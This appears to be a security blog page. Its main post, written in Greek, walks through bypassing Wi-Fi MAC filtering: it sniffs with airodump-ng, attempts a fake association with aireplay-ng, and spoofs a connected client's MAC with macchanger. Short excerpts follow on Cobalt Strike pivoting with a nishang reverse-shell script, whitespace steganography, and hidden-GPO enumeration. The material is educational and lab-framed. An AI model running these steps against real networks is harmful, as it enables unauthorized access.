Bypass MAC filter

Mac filter δεν είναι προστασία για αυτό καλύτερα να μην την χρησιμοποιείται.Στα επόμενα βήματα θα σας δείξω πως κάποιος μπορεί να την ξεπεράσει σε λίγα βήματα.

Να έχουμε στο μυαλό μας ότι οι διευθύνσεις MAC στο WLAN header εμφανίζονται σε plaintext.Τι χρησιμοποιούμε για όλα αυτά

1)Backtrack 5 r3 ή Kali linux
2)Μία κάρτα συμβατή με το λειτουργικό μας.
3)Τα εργαλεία είναι εγκατεστημένα στο backtrack 5 r3

Για να μπορείς να καταλάβεις τους Hackers τότε θα πρέπει να μπορείς να σκεφτείς σαν αυτούς



Όλα τα test είναι σε δικό μου εικονικό δίκτυα που δεν έχει καμία διαφορά με τον έξω κόσμο.

Βήμα 1

Ρίχνουμε μία ματιά τι συμβαίνει στον αέρα του δικτύου μας.


airodump-ng -c <AP channel > --bssid <AP_MAC> mon0

Βήμα 2

Κάνουμε ένα fake association!Χωρίς επιτυχία...έτσι καταλαβαίνουμε ότι υπάρχει φιλτράρισμα των MAC διευθύνσεων.


aireplay-ng -1 0 -a  <AP_MAC> -c <OUR_MAC> mon0

 Βήμα 3

Αλλάζουμε την mac address μας βάζοντας την ίδια με τον client που είναι ήδη συνδεδεμένος και ξαναστέλνουμε ένα fake association....Success!!?Μόλις περάσαμε τη πρώτη προστασία..


Καταβάζουμε το mon0
ifconfig mon0 down

Αλλάζουμε την Mac address
macchanger -m <fake_mac> mon0

Ανεβάζουμε το mon0
ifconfig mon0 up

Ξαναστέλνουμε fake association
aireplay-ng -1 0 -a  <AP_MAC> -c <fake_MAC> mon0


Τα εργαλεία που χρησιμοποίησα δεν είναι παράνομα.

Basic Pivoting with Cobaltstrike and Metasploit

Image
Last week we participated in a virtual network pentest in order to test our skills and the security of the network as well. During the pentest we encountered various problems during the host pivoting, so we wrote down the difficulties that we faced and how to solve them. Among various problems that we have faced was the initial beacon from the DMZ zone. Since, the web delivery could not executed, we have moving into https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1 , a powershell script from nishang tool which is created from Nikhil Mittal. As the most real case scenarios so and this, the internal network seating behind a DMZ zone. So our first objective is to compromise somehow the external DMZ network and then we will use MSF and CobaltStrike to hope between hosts.   CobaltStrike Pivoting After enumerating the external network which we managed to upload a php file and execute system commands on the remo...

Hiding Data Using White Space (Steganography)

Image
Steganography is a technique of hiding  a secret message within an ordinary message and extracting it at the destination to maintain confidentiality of data. An attacker can use steganography to hide messages such as  source code for hacking tools, usernames and passwords, plans for future attacks and many more. Below i will explain how could this achieved in practice using Snow tool. 1)Create a simple txt file and browse to snow directory with command prompt and write the command below.   2)After creating the encrypt txt file you can open it and observe the differences.Have they got the same size?No. What else you could see ? 3)Decrypt the file and extract the hidden message.

Unhide a Hidden GPO

Image
Lately, i read on a very good write-up regarding to GPO's abuse. The name of the article is "GPO abuse - You can't see me" and you can read it  here  . The first question that came to my mind was "Why i can't see you?". Many times GUI is more convenient than PowerShell but in that case i found PowerShell better for me as well as i didn't want to use PowerView. I wanted to create something from the scratch and the biggest motivation is education. So i started to ask myself "if you compromise a host during an assessment, how you can enumerate GPOs without PowerView?". Remember that you are a low privileged user, so may you are not be able to import modules and you can't import ActiveDirectory to Windows 10 and use Get-AD****. The correct answer is "ADSI" and luckily for me, doesn't need to be an expert to use it for simple requests as mine. On this post i will try enumerate domain's GPO using ADSI as well as to unhide h...
